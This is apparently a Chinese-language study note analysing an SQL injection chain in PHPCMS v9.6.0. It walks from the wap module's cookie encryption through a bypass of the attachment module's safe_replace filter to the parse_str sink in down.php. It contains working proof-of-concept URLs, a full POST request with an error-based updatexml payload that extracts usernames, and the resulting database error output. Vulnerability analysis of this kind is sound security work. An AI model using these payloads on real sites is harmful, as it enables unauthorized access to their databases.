# PHPCMS v9.6.0 wap模塊SQL注入分析.
###### tags: `phpcms`
# 重點 part1
phpcms/modules/wap/index.php
__construct函數
```php=
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}
```
關鍵:
```
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
```
進入 set_cookie 函數
phpcms/libs/classes/param.class.php
```php=
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
//最終設定cookie
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}
```
關鍵:
setcookie 之前調用了 sys_auth($value, 'ENCODE')
進入sys_auth()
phpcms/libs/functions/global.func.php
```php=
/**
* 字符串加密、解密函数
*
*
* @param string $txt 字符串
* @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param string $key 密钥:数字、字母、下划线
* @param string $expiry 过期时间
* @return string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}
```
總而言之就是加解密的函數
以上是讓你過一便,相關函數。
總節以上的流程重點
phpcms/modules/wap/index.php
wap 模塊下的 get 參數
```
$_GET['siteid']
```
最後會被加密然後設定cookie 保存在我們的browser
poc part1 :
```
http://localhost/index.php?m=wap&c=index&a=init&siteid=1
```
我這邊拿到cookie是: (xxxx_siteid, xxxx好像每個人環境不同會不一樣,我沒詳細測試)
```
GAico_siteid: a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P
```
---
# 重點 part2
phpcms/modules/attachment/attachments.php
函數: __construct()
關鍵:
```
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
```
```php=
class attachments {
private $att_db;
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
```
phpcms/modules/attachment/attachments.php
函數: swfupload_json()
關鍵: 有get參數,並且轉成 json 格式,然後 set_cookie 會被加密
```php=
/**
* 设置swfupload上传的json格式cookie
*/
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
```
我們來看看 poc part2:
可以更容易理解上面的過程
```
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C1%2C16%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
```
poc url 解碼後:
```
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1%*27%*20and%*20updatexml(1,concat(0x7e,(select%*20mid((SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200,1),1,16)),0x7e),1)#&m=1&modelid=1&f=1&catid=1
```
常玩 ctf的朋友 看到熟悉的 updatexml 就知道 大概是sql 報錯注入了
```
%*27%*20and%*20updatexml(1,concat(0x7e,(select%*20mid((SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200,1),1,16)),0x7e),1)#&m=1&modelid=1&f=1&catid=1
```
不過這邊POC 觸發需要使用 post 方式 不是get :
BP 改包
加上:
Content-Type: application/x-www-form-urlencoded
userid_flash=a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P
```
POST /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C1%2C16%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: XDEBUG_SESSION=sublime.xdebug; GAico_siteid=a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P; PHPSESSID=22cd6f63eec4ed0d51b2b04481989a56
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
userid_flash=a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P
```
response:
```
HTTP/1.1 200 OK
Date: Wed, 22 Feb 2023 13:47:45 GMT
Server: Apache/2.2.31 (Win32) DAV/2 mod_ssl/2.2.31 OpenSSL/1.0.2h mod_fcgid/2.3.9 mod_wsgi/3.4 Python/2.7.6 PHP/7.4.1 mod_perl/2.0.8 Perl/v5.16.3
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: GAico_att_json=4010fgb4Dgful0CNyyvdQhw_qF32VoRGpp09CvVkedCUrU-Nv7jiErsxyJBT1HRuWKEw7t4MEhuNi3cGms_g4VqS2TWFtxm28A4xotPItq8wJ60KzbRN6GtrcOz91HkVGV8mwwtWqdHRYO5uziEKiS2M9f7V8b-sqfeqxV27GYC6vTq6KlruqazqsnBmKCIxVnEqXIlpQPXCzhnTs4v6PKBxf8N4dts_A4wGVEpaWcYBHzPFq8Y7vJXkcKuOes4pNTKRP9YIyDP15hsKHfyqNMlrCVrAgT50Prqq0LGzaec
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8
```
GAico_att_json的值 就是我們剛剛 丟進去的payload
```
GAico_att_json=4010fgb4Dgful0CNyyvdQhw_qF32VoRGpp09CvVkedCUrU-Nv7jiErsxyJBT1HRuWKEw7t4MEhuNi3cGms_g4VqS2TWFtxm28A4xotPItq8wJ60KzbRN6GtrcOz91HkVGV8mwwtWqdHRYO5uziEKiS2M9f7V8b-sqfeqxV27GYC6vTq6KlruqazqsnBmKCIxVnEqXIlpQPXCzhnTs4v6PKBxf8N4dts_A4wGVEpaWcYBHzPFq8Y7vJXkcKuOes4pNTKRP9YIyDP15hsKHfyqNMlrCVrAgT50Prqq0LGzaec
```
我們再重新分析一下 POC
1.
POST
userid_flash=a723FA-oqaQpB6zG4V8e4ll6Q4rD46YU1TB5_q9P
是為了讓 __construct 函數的 $this->userid 有值,不然會跳出失敗
2.
```
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1%*27%*20and%*20updatexml(1,concat(0x7e,(select%*20mid((SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200,1),1,16)),0x7e),1)#&m=1&modelid=1&f=1&catid=1
```
作者看上了 attachment 模塊的
其中attachments類的 swfupload_json 函數
```
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json
```
swfupload_json 函數有接收這三個get參數,根據上面poc 來看,
$_GET['src'] 被傳入了 sql 注入
```
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
```
OK 總節一下 part2
我們最後的sql 注入 被轉為json然後加密
最後變成cookie
```
GAico_att_json=4010fgb4Dgful0CNyyvdQhw_qF32VoRGpp09CvVkedCUrU-Nv7jiErsxyJBT1HRuWKEw7t4MEhuNi3cGms_g4VqS2TWFtxm28A4xotPItq8wJ60KzbRN6GtrcOz91HkVGV8mwwtWqdHRYO5uziEKiS2M9f7V8b-sqfeqxV27GYC6vTq6KlruqazqsnBmKCIxVnEqXIlpQPXCzhnTs4v6PKBxf8N4dts_A4wGVEpaWcYBHzPFq8Y7vJXkcKuOes4pNTKRP9YIyDP15hsKHfyqNMlrCVrAgT50Prqq0LGzaec
```
---
# part3
phpcms/modules/content/down.php
關鍵在於:
```
$_GET['a_k']
parse_str($a_k);
$rs = $this->db->get_one(array('id'=>$id));
```
```
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));
.......
}
```
payload part3:
content 模塊下的 down類
a_k = 剛剛被加密得數據
```
http://localhost/index.php?m=content&c=down&a_k=208cD__IKObrjY92vyfvXEOAgS-75FtWtQePbrm7EIE7XITOLxKVLSfKjsZM_XXsvtRePcaH3nlOzVn8_GoPXENTuIEx9OgPUIpsfIKGpo6i3YjBej0pcf4vML1QzMGl-RqsVXeI0BHpmnYgt0hWgCVfsrgnu8Zq2sXpm5S526ftrF4EfSvm9rdKE7ryzqTsvOZZU6yPf-aE7HsLc9nvX5NIag8Ev8Y9RCVxsJ_5tCWyeThTT5RZ-8xxZbm6UMVs8w4gr1vmQ5fXFWDd2DOf1QbirEU_TSra8v2R4CeEirQ
```
a_k 剛好被解密
```
{"aid":1,"src":"&id=1%27%20and%20updatexml(1,concat(0x7e,(select%20mid((SELECT%20username%20from%20" table_name "%20limit%200,1),1,16)),0x7e),1)#&m=1&modelid=1&f=1&catid=1","filename":""}
```
### php 危險函數
parse_str($a_k);
創造:
```
$f = "1"
$id = "1' and updatexml(1,concat(0x7e,(select mid((SELECT username from "
$m = "1"
```
id 被注入造成報錯:
```
$this->db->get_one(array('id'=>$id));
```
```
MySQL Query : SELECT * FROM `phpcmsv9`.`v9_news_data` WHERE `id` = '1' and updatexml(1,concat(0x7e,(select mid((SELECT username from ' LIMIT 1
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1
MySQL Errno : 1064
Message : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 1' at line 1
```
完成,sql payload 還可以換承其他的這邊就不多放了。
# 總節一下
這題利用很複雜。
作者肯定是先找到
phpcms/modules/content/down.php
這兩個關鍵點
```
parse_str($a_k);
$rs = $this->db->get_one(array('id'=>$id));
```
如果要加已利用的情況下,往上發現有個解密
```
sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
```
因此需要找到哪裡會加密
set_cookie函數就會加密。
<br/>
phpcms/modules/wap/index.php 有 set_cookie
但 intval($_GET['siteid'] 被過濾了
<br/>
而phpcms/modules/attachment/attachments.php 有 set_cookie
safe_replace 過濾但可以繞過,所以用這裡。
```
$arr['src'] = safe_replace(trim($_GET['src']));
跟進 safe_replace
///////////////////////////////////////////////
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
```
所以最後被變成json 格式然後加密
加密後 再丟到 phpcms/modules/content/down.php 去解密,大至就是這樣。